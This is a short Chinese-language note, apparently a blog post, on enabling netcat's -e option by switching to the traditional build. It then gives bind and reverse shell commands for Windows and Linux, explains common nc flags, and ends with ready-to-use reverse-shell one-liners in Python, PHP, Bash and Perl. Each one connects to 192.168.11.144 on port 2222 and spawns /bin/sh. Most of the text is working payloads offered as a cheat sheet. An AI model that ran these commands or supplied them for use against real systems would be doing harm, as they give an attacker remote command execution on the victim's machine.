今天用netcat时发现我的netcat竟然没有-e选项
原来安装的默认是openbsd的,而openbsd是没有-e选项的,需要变更为traditional版才有,
变更方法如下:
输入
sudo update-alternatives --config nc
此时会显示netcat的各个版本,输入2选择traditional
之后nc便有了-e选项
netcat-openbsd的用法与netcat-traditional用法有所不同,可以根据需要自行切换。
反弹shell
方法1、正向shell
nc -lvp [port] -e c:Windowssystem32cmd.exe
或者
nc -lvp [port] -e cmd
建立连接
nc -nvv [ip] [port]
方法2、反向shell
nc -lvp [port]
反弹
nc -e c:windowssystem32cmd.exe [ip] [port]
或者
nc -e cmd [ip] [port]
linux的为
-e /bin/bash
nc的常用的几个参数如下所列:
0)-e
程序重定向
1) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。 2) -p <port> 指定端口3) -s 指定发送数据的源IP地址,适用于多网卡机 4) -u 指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤为有用 6)-w 超时秒数,后面跟数字 7)-z 表示zero,表示扫描时不发送任何数据
8)-n
告诉netcat 不要使用DNS反向查询IP地址的域名
9)-o <输出文件>
指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
10)-i <延迟秒数>
设置时间间隔,以便传送信息及扫描通信端口。
python反向shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell
php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
Bash反向shell
bash -i>&/dev/tcp/192.168.11.144/2222 0>&1
Perl反向shell
perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'